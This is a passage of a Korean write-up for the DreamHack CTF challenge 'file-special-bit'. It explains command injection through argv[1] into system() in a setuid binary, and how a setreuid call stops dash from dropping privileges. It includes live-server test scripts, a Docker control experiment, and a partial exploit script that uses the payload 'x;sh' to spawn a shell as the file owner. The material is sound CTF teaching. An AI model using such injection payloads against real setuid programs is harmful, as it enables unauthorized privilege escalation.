geteuid() ๋Š” setuid ๋กœ ๋ฐ”๋€ ๋’ค์˜ ๊ฐ’, ์ฆ‰ ๋ฐ”์ด๋„ˆ๋ฆฌ ์†Œ์œ ์ž์˜ uid ๋ผ์„œ 1000 ์ด ์•„๋‹ˆ๋‹ค. dream ์˜ uid ๋Š” /etc/passwd ๋ฅผ ์ฝ๊ฑฐ๋‚˜ stat -c %u ./chall ๋กœ ๋ฐ”๋กœ ๋‚˜์˜จ๋‹ค. ์ด ์„œ๋ฒ„์—์„œ๋Š” 2123 ์ด์—ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ „์ฒด ๊ฒฝ๋กœ๋ฅผ ๊ทธ๋ƒฅ ๋„ฃ์–ด ๋ณธ ๊ฒƒ๋„ ์—ฌ๊ธฐ์„œ ๊ฐ™์ด ๊นจ์กŒ๋‹ค. ์•„๋ž˜ ์Šคํฌ๋ฆฝํŠธ๋กœ ์„ธ ๊ฒฝ์šฐ๋ฅผ ํ•œ ๋ฒˆ์— ๋Œ๋ ธ๋‹ค.

#!/usr/bin/env bash
# ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ argv[1] ๊ณผ uid ์ž…๋ ฅ์„ ๋ฐ”๊ฟ” ๊ฐ€๋ฉฐ chall ์˜ ๋ฐ˜์‘์„ ๋ณธ๋‹ค.
#   ./live_cases.sh host3.dreamhack.games 10023
#
# -tt ๋กœ ์›๊ฒฉ์— tty ๋ฅผ ๋ถ™์ด๋Š” ๊ฒŒ ์š”๋ น์ด๋‹ค. ์•ˆ ๋ถ™์ด๋ฉด chall ์˜ stdout ์ด ํŒŒ์ดํ”„๋ผ
# stdio ๊ฐ€ ์ „๋ฒ„ํผ๋ง๋ผ์„œ cat ์ถœ๋ ฅ๊ณผ printf ์ถœ๋ ฅ์˜ ์ˆœ์„œ๊ฐ€ ๋’ค์ง‘ํ˜€ ๋ณด์ธ๋‹ค.
set -eu
H=$1; P=$2
S="sshpass -p dhbeginnerchall1 ssh -tt -p $P -o StrictHostKeyChecking=no
   -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR chall@$H"
 
echo "### 1) euid ๋ฅผ ๋‚ด uid ๋กœ ๋„ฃ์œผ๋ฉด โ€” ๊ฒ€์‚ฌ ํ†ต๊ณผ ์‹คํŒจ"
$S 'printf "1000\n1000\n" | ./chall flag'
 
echo "### 2) ์ „์ฒด ๊ฒฝ๋กœ /home/dream/flag โ€” filename[10] ์—์„œ ์ž˜๋ฆฐ๋‹ค"
$S 'printf "1000\n2123\n" | ./chall /home/dream/flag'
 
echo "### 3) ํ™ˆ์— ์žˆ๋Š” flag ๋ฅผ ์ƒ๋Œ€ ๊ฒฝ๋กœ๋กœ โ€” 4๋ฐ”์ดํŠธ๋ผ ์•ˆ ์ž˜๋ฆฐ๋‹ค"
$S 'printf "1000\n2123\n" | ./chall flag'

๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์„ธ ๊ฐ€์ง€ ์ธ์ž๋ฅผ ์ฐจ๋ก€๋กœ ๋„ฃ์–ด ๋ณธ ๊ฒฐ๊ณผ โ€” ๊ฒ€์‚ฌ ์‹คํŒจ, ๊ฒฝ๋กœ ์ ˆ๋‹จ, ๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰์— flag ํš๋“์œผ๋กœ ๊ฐˆ๋ฆฐ๋‹ค
๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์„ธ ๊ฐ€์ง€ ์ธ์ž๋ฅผ ์ฐจ๋ก€๋กœ ๋„ฃ์–ด ๋ณธ ๊ฒฐ๊ณผ โ€” ๊ฒ€์‚ฌ ์‹คํŒจ, ๊ฒฝ๋กœ ์ ˆ๋‹จ, ๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰์— flag ํš๋“์œผ๋กœ ๊ฐˆ๋ฆฐ๋‹ค

1๋ฒˆ์€ No., 2๋ฒˆ์€ cat: /home/drea: No such file or directory ๋‹ค. gdb ์—์„œ ๋ณธ ์ ˆ๋‹จ์ด ์›๊ฒฉ์—์„œ๋„ ๋˜‘๊ฐ™์ด ์žฌํ˜„๋œ๋‹ค.

3๋ฒˆ์—์„œ flag ๊ฐ€ ๊ทธ๋ƒฅ ๋‚˜์™”๋‹ค. ์ •์ฐฐ ๋•Œ ๋ดค๋“ฏ flag ๊ฐ€ ํ™ˆ์— ์žˆ์–ด์„œ ์ƒ๋Œ€ ๊ฒฝ๋กœ 4๋ฐ”์ดํŠธ๋ฉด ์ถฉ๋ถ„ํ–ˆ๋‹ค. ๊ฒฝ๋กœ ๊ธธ์ด ์ œ์•ฝ์—๋งŒ ๋งค๋‹ฌ๋ ค ์žˆ์—ˆ๋Š”๋ฐ, ์• ์ดˆ์— ๊ธด ๊ฒฝ๋กœ๋ฅผ ๋„ฃ์„ ์ด์œ ๊ฐ€ ์—†์—ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” ์ถœ๋ ฅ ์ˆœ์„œ๊ฐ€ ๋’ค์ง‘ํ˜€์„œ ํ•œ์ฐธ ์—‰๋šฑํ•œ ๊ฑธ ์˜์‹ฌํ–ˆ๋‹ค

์ฒ˜์Œ -tt ์—†์ด ssh ๋กœ ๋Œ๋ ธ์„ ๋•Œ flag ๊ฐ€ ํ”„๋กฌํ”„ํŠธ๋ณด๋‹ค ๋จผ์ € ์ฐํ˜”๋‹ค. ํ”„๋กœ๊ทธ๋žจ ํ๋ฆ„์ƒ ๋‚˜์˜ฌ ์ˆ˜ ์—†๋Š” ์ˆœ์„œ๋ผ ๋ฆฌ๋‹ค์ด๋ ‰์…˜์„ ์ž˜๋ชป ๊ฑธ์—ˆ๋‚˜ ์‹ถ์–ด ๋ช…๋ น์„ ๋ช‡ ๋ฒˆ์ด๋‚˜ ๋‹ค์‹œ ๋ดค๋‹ค.

์›์ธ์€ stdio ๋ฒ„ํผ๋ง์ด๋‹ค. chall ์˜ stdout ์ด ํŒŒ์ดํ”„๋ฉด glibc ๊ฐ€ ์ „๋ฒ„ํผ๋ง์„ ๊ฑธ์–ด์„œ printf ์ถœ๋ ฅ์ด ํ”„๋กœ์„ธ์Šค ์ข…๋ฃŒ ์‹œ์ ์— ํ•œ๊บผ๋ฒˆ์— flush ๋œ๋‹ค. ๋ฐ˜๋ฉด cat ์€ ๋ณ„๊ฐœ ํ”„๋กœ์„ธ์Šค๋ผ ์ž๊ธฐ ์ถœ๋ ฅ์„ ๊ทธ ์ „์— ๋ฑ‰๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ์ˆœ์„œ๊ฐ€ ๋’ค์ง‘ํ˜€ ๋ณด์ธ๋‹ค.

๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ๋กœ ๋‚˜๋ž€ํžˆ ๋†“๊ณ  ๋ณด๋ฉด ๋ช…ํ™•ํ•˜๋‹ค.

#!/usr/bin/env bash
# ๊ฐ™์€ ๋ช…๋ น์ธ๋ฐ ์ถœ๋ ฅ ์ˆœ์„œ๊ฐ€ ๋‹ฌ๋ผ์ง€๋Š” ์ด์œ  โ€” chall ์˜ stdout ์ด tty ๋ƒ ํŒŒ์ดํ”„๋ƒ.
set -eu
 
echo "### -t ์—†์ด โ€” chall ์˜ stdout ์ด ํŒŒ์ดํ”„ (์ „๋ฒ„ํผ๋ง)"
docker run --rm -i fsb-repro bash -lc 'printf "1000\n2123\n" | ./chall flag'
 
echo
echo "### -t ๋ถ™์—ฌ์„œ โ€” chall ์˜ stdout ์ด tty (๋ผ์ธ๋ฒ„ํผ๋ง)"
docker run --rm -t fsb-repro bash -lc 'printf "1000\n2123\n" | ./chall flag'

stdout ์ด ํŒŒ์ดํ”„์ผ ๋•Œ์™€ tty ์ผ ๋•Œ์˜ ์ถœ๋ ฅ ์ˆœ์„œ ๋น„๊ต โ€” ํŒŒ์ดํ”„๋ฉด ๋’ค์ง‘ํ˜€ ๋ณด์ด๊ณ  tty ๋ฅผ ๋ถ™์ด๋ฉด ์ œ์ž๋ฆฌ๋กœ ๋Œ์•„์˜จ๋‹ค
stdout ์ด ํŒŒ์ดํ”„์ผ ๋•Œ์™€ tty ์ผ ๋•Œ์˜ ์ถœ๋ ฅ ์ˆœ์„œ ๋น„๊ต โ€” ํŒŒ์ดํ”„๋ฉด ๋’ค์ง‘ํ˜€ ๋ณด์ด๊ณ  tty ๋ฅผ ๋ถ™์ด๋ฉด ์ œ์ž๋ฆฌ๋กœ ๋Œ์•„์˜จ๋‹ค

tty ๋ฅผ ๋ถ™์ด๋ฉด ๋ผ์ธ๋ฒ„ํผ๋ง์ด๋ผ ์ˆœ์„œ๊ฐ€ ์ œ์ž๋ฆฌ๋กœ ๋Œ์•„์˜จ๋‹ค. ์›๊ฒฉ์ด๋ฉด ssh -tt, ๋„์ปค๋ฉด -t ๋‹ค.

์ด๊ฑด ์ด ๋ฌธ์ œ๋งŒ์˜ ์–˜๊ธฐ๊ฐ€ ์•„๋‹ˆ๋ผ, ํŒŒ์ดํ”„๋กœ ๋ชฐ์•„๋„ฃ๊ณ  ๊ฒฐ๊ณผ๋งŒ ๋ณด๋Š” ์ž๋™ํ™” ์ „๋ฐ˜์—์„œ ๊ณ„์† ๋งŒ๋‚˜๋Š” ํ•จ์ •์ด๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” setreuid ํ•œ ์ค„

flag ์ž์ฒด๋Š” 3๋ฒˆ ์ผ€์ด์Šค๋กœ ์ด๋ฏธ ๋‚˜์™”๋‹ค. ํ•˜์ง€๋งŒ ๊ทธ๊ฑด "flag ๊ฐ€ ๋งˆ์นจ ํ™ˆ์— ์žˆ๊ณ  ์ด๋ฆ„์ด ์งง์•„์„œ" ํ†ตํ•œ ๊ฒƒ์ด๊ณ , ์ด ๋ฌธ์ œ๊ฐ€ ์ง„์งœ๋กœ ๋ณด์—ฌ์ฃผ๋ ค๋Š” ๊ฑด ๊ทธ ์œ„์˜ ํ•œ ์ค„์ด๋‹ค.

system(cmd) ์—์„œ cmd ๋Š” /bin/sh -c ๋กœ ๋„˜์–ด๊ฐ„๋‹ค. ์„ธ๋ฏธ์ฝœ๋ก ์„ ๋ผ์šฐ๋ฉด ๋ช…๋ น์„ ํ•˜๋‚˜ ๋” ๋ถ™์ผ ์ˆ˜ ์žˆ๋‹ค. x;sh ๋Š” 4๋ฐ”์ดํŠธ๋ผ 10๋ฐ”์ดํŠธ ์ œํ•œ์—๋„ ์•ˆ ๊ฑธ๋ฆฐ๋‹ค. cat x ๋Š” ์—†๋Š” ํŒŒ์ผ์ด๋ผ ์‹คํŒจํ•˜๊ณ , ๋’ค์˜ sh ๊ฐ€ ๋œฌ๋‹ค.

๋ฌธ์ œ๋Š” ๊ทธ sh ๊ฐ€ ๋ˆ„๊ตฌ ๊ถŒํ•œ์œผ๋กœ ๋œจ๋А๋ƒ๋‹ค. ์•ž์—์„œ ๋ดค๋“ฏ dash ๋Š” ์‹œ์ž‘ํ•  ๋•Œ euid ์™€ ruid ๊ฐ€ ๋‹ค๋ฅด๋ฉด euid ๋ฅผ ๋˜๋Œ๋ฆฐ๋‹ค. ์›๋ž˜๋Œ€๋กœ๋ฉด ์ฃผ์ž…ํ•œ ์…ธ์€ chall ๊ถŒํ•œ์ด๋ผ ์•„๋ฌด ์“ธ๋ชจ๊ฐ€ ์—†๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ด ์ฝ”๋“œ๋Š” system() ์ง์ „์— setreuid(geteuid(), geteuid()) ๋ฅผ ๋ถ€๋ฅธ๋‹ค. real uid ์™€ effective uid ๋ฅผ ๋‘˜ ๋‹ค dream ์œผ๋กœ ๋งž์ถฐ ๋ฒ„๋ฆฐ๋‹ค. dash ๊ฐ€ ๋œฐ ๋•Œ ๋ณด๋Š” ๊ฑด "euid != ruid" ์กฐ๊ฑด์ธ๋ฐ, ์ด๋ฏธ ๋‘˜์ด ๊ฐ™์œผ๋‹ˆ ๋˜๋Œ๋ฆด ๊ฒŒ ์—†๋‹ค.

setreuid ์œ ๋ฌด์— ๋”ฐ๋ผ sh ์˜ ๊ถŒํ•œ ๊ฐ•ํ•˜๊ฐ€ ๊ฐˆ๋ฆฌ๋Š” ํ๋ฆ„
setreuid ์œ ๋ฌด์— ๋”ฐ๋ผ sh ์˜ ๊ถŒํ•œ ๊ฐ•ํ•˜๊ฐ€ ๊ฐˆ๋ฆฌ๋Š” ํ๋ฆ„

๋Œ€์กฐ๊ตฐ์„ ๋งŒ๋“ค์–ด ์ง์ ‘ ํ™•์ธ

๋ง๋กœ๋งŒ ํ•˜๋ฉด ์ถ”์ธก์ด๋ผ, ๋ผ์ด๋ธŒ ์„œ๋ฒ„์™€ ๊ฐ™์€ ๊ตฌ๋„๋ฅผ ๋กœ์ปฌ์— ๋งŒ๋“ค๊ณ  ๊ทธ ํ•œ ์ค„๋งŒ ๋บ€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋‚˜๋ž€ํžˆ ๋Œ๋ ธ๋‹ค.

# file-special-bit โ€” ๋กœ์ปฌ ์žฌํ˜„ ํ™˜๊ฒฝ
# ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ํ™•์ธํ•œ ๋ฐฐ์น˜๋ฅผ ๊ทธ๋Œ€๋กœ ์˜ฎ๊ฒผ๋‹ค.
#   /home/chall/chall  -rwsr-xr-x dream dream   (setuid)
#   /home/chall/flag   -r--r----- dream dream   (chall ์€ ๋ชป ์ฝ๋Š”๋‹ค)
#   /bin/sh -> dash
#
# ๋Œ€์กฐ๊ตฐ chall_nosetreuid ๋Š” ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ ์ปดํŒŒ์ผํ•œ๋‹ค.
# ํ˜ธ์ŠคํŠธ์—์„œ ๋นŒ๋“œํ•˜๋ฉด glibc ๊ฐ€ ์•ž์„œ์„œ(GLIBC_2.38) 22.04 ์—์„œ ์•ˆ ๋œฌ๋‹ค.
FROM ubuntu:22.04 AS builder
RUN apt-get update && apt-get install -y --no-install-recommends gcc libc6-dev
COPY chall_nosetreuid.c /tmp/
RUN gcc /tmp/chall_nosetreuid.c -o /tmp/chall_nosetreuid -no-pie -fno-stack-protector
 
FROM ubuntu:22.04
 
RUN useradd -m -u 1000 -s /bin/bash chall && \
    useradd -m -u 2123 -s /bin/bash dream
 
COPY chall /home/chall/chall
COPY --from=builder /tmp/chall_nosetreuid /home/chall/chall_nosetreuid
COPY flag /home/chall/flag
 
RUN chown dream:dream /home/chall/chall /home/chall/chall_nosetreuid /home/chall/flag && \
    chmod 4755 /home/chall/chall /home/chall/chall_nosetreuid && \
    chmod 440  /home/chall/flag && \
    chmod 750 /home/dream
 
USER chall
WORKDIR /home/chall
CMD ["/bin/bash"]

chall_nosetreuid.c ๋Š” ์›๋ณธ์—์„œ ๋”ฑ ํ•œ ์ค„์„ ์ฃผ์„ ์ฒ˜๋ฆฌํ•œ ๊ฒƒ์ด๋‹ค.

                if(ruid == getuid() && euid == geteuid()) {
                    /* setreuid(geteuid(), geteuid());  <-- ์ด ์ค„์ด ๋น ์กŒ๋‹ค */
                    printf("Your ruid : %d Your euid : %d\n", getuid(), geteuid());
                    system(cmd);

ํ™˜๊ฒฝ์ด ์›๊ฒฉ๊ณผ ๊ฐ™์€์ง€๋ถ€ํ„ฐ ๋ณธ๋‹ค.

docker run --rm fsb-repro bash -lc 'id; ls -l; cat flag'

๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ โ€” setuid ๋น„ํŠธ์™€ flag ๊ถŒํ•œ ๊ตฌ๋„๊ฐ€ ์›๊ฒฉ๊ณผ ๊ฐ™๊ณ  chall ์‚ฌ์šฉ์ž๋Š” flag ๋ฅผ ์ฝ์ง€ ๋ชปํ•œ๋‹ค
๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ โ€” setuid ๋น„ํŠธ์™€ flag ๊ถŒํ•œ ๊ตฌ๋„๊ฐ€ ์›๊ฒฉ๊ณผ ๊ฐ™๊ณ  chall ์‚ฌ์šฉ์ž๋Š” flag ๋ฅผ ์ฝ์ง€ ๋ชปํ•œ๋‹ค

๊ถŒํ•œ ๊ตฌ๋„๊ฐ€ ์ •์ฐฐ ๋•Œ ๋ณธ ๊ฒƒ๊ณผ ๊ฐ™๊ณ , chall ์‚ฌ์šฉ์ž๋Š” flag ๋ฅผ ๋ชป ์ฝ๋Š”๋‹ค. ์ด์ œ ๋‘ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฐ™์€ ์ธ์ž๋กœ ๋Œ๋ฆฐ๋‹ค.

#!/usr/bin/env python3
"""setreuid ํ•œ ์ค„์˜ ์œ ๋ฌด๊ฐ€ ๋ฌด์—‡์„ ๊ฐ€๋ฅด๋Š”์ง€ ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์—์„œ ์ง์ ‘ ๋Œ€์กฐํ•œ๋‹ค.
 
chall            : ์›๋ณธ (system() ์ง์ „์— setreuid(geteuid(), geteuid()))
chall_nosetreuid : ๊ทธ ํ•œ ์ค„๋งŒ ๋บ€ ๊ฒƒ (๋‚˜๋จธ์ง€ ์ฝ”๋“œ ๋™์ผ)
 
๋‘˜ ๋‹ค setuid(dream) ์ด๊ณ  argv[1] ๋„ ๊ฐ™๋‹ค. ์ฐจ์ด๋Š” sh ๊ฐ€ ๊ถŒํ•œ์„ ๋–จ์–ด๋œจ๋ฆฌ๋А๋ƒ๋ฟ์ด๋‹ค.
"""
import pexpect
 
RUID, EUID = "1000", "2123"     # chall / dream
 
 
def run(binary: str, arg: str) -> str:
    # -t ํ•„์ˆ˜: stdout ์ด ํŒŒ์ดํ”„๋ฉด stdio ๊ฐ€ ์ „๋ฒ„ํผ๋ง๋ผ ์ถœ๋ ฅ ์ˆœ์„œ๊ฐ€ ๋’ค์ง‘ํžŒ๋‹ค
    c = pexpect.spawn("docker", ["run", "--rm", "-it", "fsb-repro",
                                 f"/home/chall/{binary}", arg],
                      encoding="utf-8", timeout=10)
    c.expect("Your ruid :")
    c.sendline(RUID)
    c.expect("Your euid :")
    c.sendline(EUID)
    try:
        c.expect(pexpect.EOF)
    except pexpect.TIMEOUT:
        pass
    out = c.before
    c.terminate(force=True)
    return "\n".join(l for l in out.replace("\r", "").split("\n")[1:] if l.strip())
 
 
CASES = [
    ("chall",            "flag"),   # cat flag       โ€” dream ์ด๋ผ ์ฝํžŒ๋‹ค
    ("chall_nosetreuid", "flag"),   # cat flag       โ€” sh ๊ฐ€ ๊ถŒํ•œ์„ ๋–จ์–ด๋œจ๋ ค ๋ง‰ํžŒ๋‹ค
    ("chall",            "x;id"),   # cat x; id      โ€” ์ฃผ์ž…๋œ ๋ช…๋ น์ด ๋„๋Š” uid ํ™•์ธ
    ("chall_nosetreuid", "x;id"),   # cat x; id      โ€” ๋Œ€์กฐ๊ตฐ
]
 
for binary, arg in CASES:
    print(f"===== ./{binary} '{arg}' =====")
    print(run(binary, arg))
    print()

setreuid ๊ฐ€ ์žˆ๋Š” ์›๋ณธ๊ณผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•œ ๋Œ€์กฐ๊ตฐ์„ ๊ฐ™์€ ์ธ์ž๋กœ ๋Œ๋ฆฐ ๋น„๊ต โ€” ํ•œ์ชฝ๋งŒ flag ๋ฅผ ์ฝ๊ณ  ๋‹ค๋ฅธ ์ชฝ์€ ๊ฑฐ๋ถ€๋œ๋‹ค
setreuid ๊ฐ€ ์žˆ๋Š” ์›๋ณธ๊ณผ ์ฃผ์„ ์ฒ˜๋ฆฌํ•œ ๋Œ€์กฐ๊ตฐ์„ ๊ฐ™์€ ์ธ์ž๋กœ ๋Œ๋ฆฐ ๋น„๊ต โ€” ํ•œ์ชฝ๋งŒ flag ๋ฅผ ์ฝ๊ณ  ๋‹ค๋ฅธ ์ชฝ์€ ๊ฑฐ๋ถ€๋œ๋‹ค

๋„ค ์ค„๋กœ ์š”์•ฝ๋œ๋‹ค.

์‹คํ–‰์ถœ๋ ฅ๋œ ruid/euid๊ฒฐ๊ณผ
chall flag2123 / 2123flag ๊ฐ€ ์ฝํžŒ๋‹ค
chall_nosetreuid flag1000 / 2123cat: flag: Permission denied
chall x;id2123 / 2123์ฃผ์ž…๋œ id โ†’ uid=2123(dream)
chall_nosetreuid x;id1000 / 2123์ฃผ์ž…๋œ id โ†’ uid=1000(chall)

๋งˆ์ง€๋ง‰ ๋‘ ์ค„์ด ๊ฒฐ์ •์ ์ด๋‹ค. ํ”„๋กœ์„ธ์Šค์˜ euid ๋Š” ์–‘์ชฝ ๋‹ค 2123 ์ธ๋ฐ, ์ฃผ์ž…๋œ ๋ช…๋ น์ด ๋„๋Š” uid ๋Š” ์›๋ณธ๋งŒ 2123 ์ด๋‹ค. ๋Œ€์กฐ๊ตฐ์—์„œ๋Š” dash ๊ฐ€ 1000 ์œผ๋กœ ๋˜๋Œ๋ ค ๋†“์•˜๋‹ค.

์ฆ‰ setreuid ๊ฐ€ ํ•˜๋Š” ์ผ์€ "๊ถŒํ•œ์„ ์–ป๋Š” ๊ฒƒ"์ด ์•„๋‹ˆ๋ผ ์ด๋ฏธ ๊ฐ–๊ณ  ์žˆ๋˜ ๊ถŒํ•œ์„ sh ๊ฐ€ ๋บ์–ด๊ฐ€์ง€ ๋ชปํ•˜๊ฒŒ ๋ชป ๋ฐ•๋Š” ๊ฒƒ์ด๋‹ค. ํ‘œ๋ฉด์ ์œผ๋กœ๋Š” ๊ทธ๋ƒฅ uid ๋ฅผ ์ •๋ฆฌํ•˜๋Š” ๋ฌดํ•ดํ•œ ์ฝ”๋“œ์ฒ˜๋Ÿผ ๋ณด์ด๋Š”๋ฐ, system() ์•ž์— ๋†“์ด๋Š” ์ˆœ๊ฐ„ ๋งˆ์ง€๋ง‰ ๋ฐฉ์–ด์„ ์„ ์ง€์šด๋‹ค.


๐Ÿš€ Full Exploit

๊ฒฝ๋กœ ํ•˜๋“œ์ฝ”๋”ฉ ์—†์ด ๋ถ™์–ด์„œ uid ๋ฅผ ์•Œ์•„๋‚ด๊ณ , ์…ธ์„ ๋„์›Œ flag ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ์Šคํฌ๋ฆฝํŠธ๋‹ค. ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์™€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์–‘์ชฝ์— ๊ฐ™์€ ์ฝ”๋“œ๋กœ ๋ถ™๋Š”๋‹ค.

#!/usr/bin/env python3
"""file-special-bit (DreamHack, Silver 4 / misc) โ€” ์ž๋™ ์ต์Šคํ”Œ๋กœ์ž‡
 
setuid(dream) ๋ฐ”์ด๋„ˆ๋ฆฌ chall ์˜ ๊ตฌ์กฐ:
 
    char filename[10]; char cmd[20];
    memcpy(filename, argv[1], sizeof(filename));   // 10๋ฐ”์ดํŠธ
    snprintf(cmd, 19, "cat %s", filename);         // 18๊ธ€์ž + NUL
    scanf("%d", &ruid); scanf("%d", &euid);
    if (ruid == getuid() && euid == geteuid()) {
        setreuid(geteuid(), geteuid());            // real = effective = dream
        system(cmd);
    }
 
argv[1] ์ด ๊ทธ๋Œ€๋กœ `/bin/sh -c "cat <argv[1]>"` ์— ๋“ค์–ด๊ฐ€๋ฏ€๋กœ `;` ๋กœ ๋ช…๋ น์„ ๋ง๋ถ™์ผ ์ˆ˜ ์žˆ๋‹ค.
๋ณดํ†ต setuid ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ system() ์€ sh ๊ฐ€ uid != euid ๋ฅผ ๋ณด๊ณ  ๊ถŒํ•œ์„ ๋–จ์–ด๋œจ๋ ค ๋ง‰ํžˆ๋Š”๋ฐ,
์ด ๋ฌธ์ œ๋Š” ๊ทธ ์ง์ „์— setreuid(geteuid(), geteuid()) ๋กœ real uid ๊นŒ์ง€ dream ์œผ๋กœ ๋งž์ถฐ ๋ฒ„๋ ค์„œ
sh ๊ฐ€ ๋–จ์–ด๋œจ๋ฆด ๊ถŒํ•œ์ด ๋‚จ์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ์ฃผ์ž…ํ•œ ์…ธ์ด dream ๊ทธ๋Œ€๋กœ ๋œฌ๋‹ค.
 
filename ์ด 10๋ฐ”์ดํŠธ๋ผ `/home/dream/flag` ๊ฐ™์€ ์ „์ฒด ๊ฒฝ๋กœ๋Š” `/home/drea` ๋กœ ์ž˜๋ฆฐ๋‹ค.
๊ทธ๋ž˜์„œ ๊ฒฝ๋กœ๋ฅผ ๋„ฃ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์…ธ์„ ๋„์›Œ์„œ dream ๊ถŒํ•œ์œผ๋กœ flag ๋ฅผ ์ฝ๋Š”๋‹ค.
 
์‚ฌ์šฉ๋ฒ•:
    python3 solve.py --docker                                  # ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ
    python3 solve.py --host host1.dreamhack.games --port 10001 # ๋ผ์ด๋ธŒ ์„œ๋ฒ„
"""
import argparse
import re
import sys
 
import pexpect
 
SSH_USER = "chall"
SSH_PASS = "dhbeginnerchall1"
PAYLOAD = "x;sh"          # cat x (์‹คํŒจ) โ†’ sh  โ€ป 10๋ฐ”์ดํŠธ ์ด๋‚ด์—ฌ์•ผ ํ•œ๋‹ค
MARK = "FSBMARK"
FLAG_RE = re.compile(r"DH\{[^}\s]+\}")
ANSI_RE = re.compile(r"\x1b\[[0-9;?]*[a-zA-Z]|\x1b\][^\x07]*\x07|\x1b[=>]")
 
 
def run(c, cmd, timeout=20):
    """์…ธ์— ๋ช…๋ น์„ ๋„ฃ๊ณ  ๋งˆ์ปค๊นŒ์ง€์˜ ์ถœ๋ ฅ์„ ๋Œ๋ ค์ค€๋‹ค.
 
    ๋งˆ์ปค๋ฅผ `FSB"MARK"` ๋กœ ์ชผ๊ฐœ ๋ณด๋‚ด๋Š” ๊ฒŒ ์š”๋ น์ด๋‹ค. ๊ทธ๋Œ€๋กœ ๋ณด๋‚ด๋ฉด tty ๊ฐ€ ๋ช…๋ น์ค„์„
    ๋˜์šธ๋ฆด ๋•Œ ๊ทธ ์—์ฝ”๊ฐ€ ๋จผ์ € ๋งˆ์ปค์— ๊ฑธ๋ ค์„œ, ์ถœ๋ ฅ ๋Œ€์‹  ๋ช…๋ น ๋ฌธ์ž์—ด์„ ์ฝ๊ฒŒ ๋œ๋‹ค.
    """
    c.sendline(f'{cmd}; echo FSB"MARK"')
    c.expect(MARK + r"\r?\n", timeout=timeout)
    body = ANSI_RE.sub("", c.before).replace("\r", "")
    # ์ฒซ ์ค„์€ ์…ธ์ด ๋˜๋Œ๋ ค์ค€ ๋ช…๋ น ์ž์ฒด๋ผ ๋ฒ„๋ฆฐ๋‹ค
    return "\n".join(body.split("\n")[1:]).strip()
 
 
def connect(args):
    if args.docker:
        c = pexpect.spawn("docker", ["run", "--rm", "-it", args.image, "/bin/bash"],
                          encoding="utf-8", timeout=30)
        c.sendline("")
        return c
    c = pexpect.spawn(
        "ssh",
        ["-tt", "-p", str(args.port),
         "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null",
         "-o", "LogLevel=ERROR",
         f"{SSH_USER}@{args.host}"],
        encoding="utf-8", timeout=45)
    c.expect(["[Pp]assword:", "passphrase"], timeout=45)
    c.sendline(SSH_PASS)
    return c
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--docker", action="store_true", help="๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ์— ๋ถ™๋Š”๋‹ค")
    ap.add_argument("--image", default="fsb-repro")
    ap.add_argument("--host")
    ap.add_argument("--port", type=int)
    a = ap.parse_args()
    if not a.docker and not (a.host and a.port):
        ap.error("--docker ์ด๊ฑฐ๋‚˜ --host/--port ๋ฅผ ์ค˜์•ผ ํ•œ๋‹ค")
 
    c = connect(a)
 
    # 1) setuid ๋ฐ”์ด๋„ˆ๋ฆฌ ์œ„์น˜์™€ ์†Œ์œ ์ž๋ฅผ ์ฐพ๋Š”๋‹ค (๊ฒฝ๋กœ/uid ๋ฅผ ํ•˜๋“œ์ฝ”๋”ฉํ•˜์ง€ ์•Š๋Š”๋‹ค)
    #    ์ด๋ฆ„์ด chall ์ธ ๊ฒƒ์„ ๋จผ์ € ๋ณธ๋‹ค โ€” ์žฌํ˜„ ํ™˜๊ฒฝ์—๋Š” ๋Œ€์กฐ๊ตฐ ๋ฐ”์ด๋„ˆ๋ฆฌ๋„ ๊ฐ™์ด ๋“ค์–ด ์žˆ์–ด
    #    ๋ฒ”์œ„๋ฅผ ๋„“๊ฒŒ ์žก์œผ๋ฉด ๊ทธ์ชฝ์ด ๋จผ์ € ๊ฑธ๋ฆฐ๋‹ค.
    binpath = run(c, "find / -perm -4000 -type f -name chall 2>/dev/null | head -1")
    binpath = binpath.split("\n")[-1].strip()
    if not binpath.startswith("/"):
        binpath = run(c, "find / -perm -4000 -type f 2>/dev/null "
                         "| grep -vE '^/(usr|bin|sbin|opt)/' | head -1")
        binpath = binpath.split("\n")[-1].strip()
    print(f"[+] setuid ๋ฐ”์ด๋„ˆ๋ฆฌ : {binpath}")
 
    ruid = run(c, "id -u").split("\n")[-1].strip()
    euid = run(c, f"stat -c %u {binpath}").split("\n")[-1].strip()
    print(f"[+] getuid()={ruid}  geteuid()={euid}  (๋ฐ”์ด๋„ˆ๋ฆฌ ์†Œ์œ ์ž)")
 
